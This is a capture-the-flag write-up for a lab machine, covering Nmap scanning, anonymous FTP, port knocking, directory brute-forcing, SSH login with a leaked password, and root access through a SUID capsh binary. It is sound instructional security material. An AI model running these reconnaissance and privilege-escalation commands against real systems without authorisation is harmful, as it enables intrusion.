Url🔗
LevelEasy

Intro#

Today I am recovering password for medusa. I’ll start with enumerating the FTP server to learn about the hidden ports. Then I will knock them several times to open the other ports, enumerate them to find out the SSH credentials. Ultimately I will escalate privileges using capsh and pwn the target.

Enumeration#

Nmap#

I kickstarted the challenge with Nmap in TCP mode, as usual.

sudo nmap -sCV -vv -oA nmap_tcp target.local

PORT   STATE    SERVICE REASON         VERSION
21/tcp open     ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
} # ...
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:TARGET_IP
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp filtered ssh     no-response
80/tcp filtered http    no-response
MAC Address: A4:4E:31:0F:68:CC (Intel Corporate)
Service Info: OS: Unix

The target was running an unidentified Unix-based distribution and hosted 3 services.

The open ftp was an obvious service to start with, since the http and ssh were filtered (meaning there was no response from the target and Nmap couldn’t figure out if they were open or closed).

By the way, I ran the UDP scan as well, but I didn’t find anything.

I followed with the FTP footprinting.

FTP#

I logged in as Anonymous to FTP:

ftp target.local

Connected to target.local.
220 (vsFTPd 3.0.3)
Name (target.local:user): Anonymous
331 Please specify the password.
Password: # empty
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Listing the files in FTP didn’t result with anything, but I tried to list hidden files as well:

ftp> ls -a
# ...
drwxr-xr-x    2 0        113          4096 Oct 03  2020 .
drwxr-xr-x    2 0        113          4096 Oct 03  2020 ..
-rw-r--r--    1 0        0              70 Oct 03  2020 .secretnote.txt
226 Directory send OK.
ftp>
****

The .secretnote.txt was there so I read its contents:

ftp> get .secretnote.txt
cat .secretnote.txt

I need to knock this ports and
one door will be open!
1000
2000
3000
Ihavebeenalwayshere!!!

Interesting! The 1000, 2000 and 3000 ports should be available for scanning, so I followed with that.

nmap -p1000,2000,3000#

I scanned these ambiguous ports only to find out they are closed (they responded with ACK and RST):

sudo nmap -sV -vv target.local -p1000,2000,3000 -oA nmap_ports

PORT     STATE  SERVICE    REASON       VERSION
1000/tcp closed cadlock    reset ttl 63
2000/tcp closed cisco-sccp reset ttl 63
3000/tcp closed ppp        reset ttl 63

I was kinda stuck. I remembered something about ports knocking from some CTF writeups I read previously and got back to the topic.

📖 Lecture time. Ports knocking

To put it simply, Ports knocking is a virtual equivalent of knowing how to knock the doors to your childhood basement clubhouse. If I remember correctly we usually used . ... . for ours. Sometimes it was . . ... .... ...

Oh, you still don’t get it? Let me try again.

Knocking the ports means that you need to send packets to the particular ports in the particular order first to be able to connect to, say, port 22 from your IP. Once you close the connection to that port, the combination resets and you need to do it once again. It’s a primitive method of defending the server against bruteforcing the particular services. Security by obscurity of sorts.

More on the topic here

Now, armed with that knowledge and the knock script I started to knock 1000, 2000 and 3000:

knock target.local 1000 2000 3000 -v

hitting tcp target.local:1000
hitting tcp target.local:2000
hitting tcp target.local:3000

❗ Keep in mind I had to knock these ports several times to open both ssh and http as I didn’t know the correct ports order. As they were knocked in parallel, after several tries I nailed the correct one and both services were open.

Given the small number of ports to be knocked, I probably should try all the possible combinations manually.

Anyways, after several tries I had the access to all the ports so I scanned them again.

Nmap #3#

sudo nmap -sCV -oA nmap_tcp_2 -vv target.local

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| # ...
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b1:3b:2b:36:e5:6b:d7:2a:6d:ef:bf:da:0a:5d:2d:43 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs85YDBcxYDtBVawUlW6wndoVx691rVPkDX1AZvqf11RRhMsmwAg/1Du8YK/1ZSEmRXgHTvku0QEKNbRUxmFiD++cLKQEf9G23IjnauIX6oQHcY2mzeSHduiGzDvCNc0m6HhAODMWGbVoA77V63WSJ/bf1gC7JxxObyma0BNgeYbTQQUrMsHAsIr2cJhV19W5KL5Kq46jfYLTbFxnAs+qKC9vXAw6qaxy/1hHtc+iIhUNs5c/olTqWPPJ1gh0v6wthdeKb6BvyodbpMOhLOvZ6TPF3ZVaSmnZCAKxb6h7nbiOGroI65F+Cs0oWulVQYw+Bm7u2eZFLLQeWfMC5xUz5
|   256 35:f1:70:ab:a3:66:f1:d6:d7:2c:f7:d1:24:7a:5f:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNRlZlETQeEZ1ir3SKl9NFhI0TNnA+WtTRef7JwxnvOJ6ZbYjA3YvIMkUUriD9LbRPtEcAkAznKsszdMmmn1QeE=
|   256 be:15:fa:b6:81:d6:7f:ab:c8:1c:97:a5:ea:11:85:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARsN37DwrXI1N7ruOs+QzaKlmXNmdVtID5/Qyi2SlvL
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
MAC Address: A4:4E:31:0F:68:CC (Intel Corporate)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

HTTP#

The index rendered the message from medusa:

I dont remember where I stored my password :( I only remember that was into a .txt file... -medusa

Using gobuster I tried to lookup the other paths.

gobuster dir -u http://target.local -w /usr/share/wordlists/dirb/common.txt -x txt
# ...
/admin                (Status: 301) [Size: 185] [--> http://target.local/admin/]
/home                 (Status: 301) [Size: 185] [--> http://target.local/home/]
/secret               (Status: 301) [Size: 185] [--> http://target.local/secret/]

Well, at this point I knew about 3 possible paths to lookup:

/admin#

This one’s Forbidden. Moving on.

/home#

Yet another message from medusa. Moving on.

Maybe my pass is at home! -medusa

/secret#

And yet another message. Surely medusa is proficient in using Notepad.

Maybe my password is in this secret folder?

💡 I wanted to run gobuster in recursive mode, only to learn that it doesn’t have that option. But feroxbuster does.

I ran feroxbuster in recursive mode and learned about yet another path I could try:

feroxbuster --url http://target.local -x txt --wordlist /usr/share/wordlists/dirb/common.txt
# ...
200      GET        5l       27w      132c http://target.local/
301      GET        7l       12w      185c http://target.local/admin => http://target.local/admin/
301      GET        7l       12w      185c http://target.local/home => http://target.local/home/
301      GET        7l       12w      185c http://target.local/secret => http://target.local/secret/
200      GET        2l        7w       34c http://target.local/home/index.html
301      GET        7l       12w      185c http://target.local/secret/home => http://target.local/secret/home/
200      GET        1l        8w       44c http://target.local/secret/index.html
200      GET        2l       13w       62c http://target.local/secret/home/index.html

/secret/home#

Ultimately I found the last note from medusa:

Im trying a lot. Im sure that i will recover my pass! -medusa

The rabbit hole stops here. Once again I got stuck and got back to the drawing board.

SSH#

Knowing there’s a ssh service running and the medusa’s username I wondered if the password was already presented to me earlier. The only txt file I discovered was .secretnote.txt and it contained the Ihavebeenalwayshere!!! string. Was that actually a password?

I tried it for ssh and boom, here I was connected to the server:

ssh medusa@target.local
medusa@target.local\'s password: Ihavebeenalwayshere!!!
# ...
medusa@alzheimer:~$ # Hello, world!

Alexa, add to my todo list: Text medusa her password.

Obviously I immediately read the user flag. Partial success, I guess?

cat user.txt
<redacted>

Priv Esc#

Now, onto the privilege escalation. I started with looking up the SUID-enabled binaries:

find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/sbin/capsh

The only thing I didn’t recognise was /usr/sbin/capsh. I looked it up on GTFObins to find out that:

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to […] escalate or maintain privileged access as a SUID backdoor.

And so I did:

/usr/sbin/capsh --gid=0 --uid=0 --
root@alzheimer:~#

Now I am became root, the administrator of worlds.

Pwned#

cd /root && cat root.txt
<redacted>

Pwned.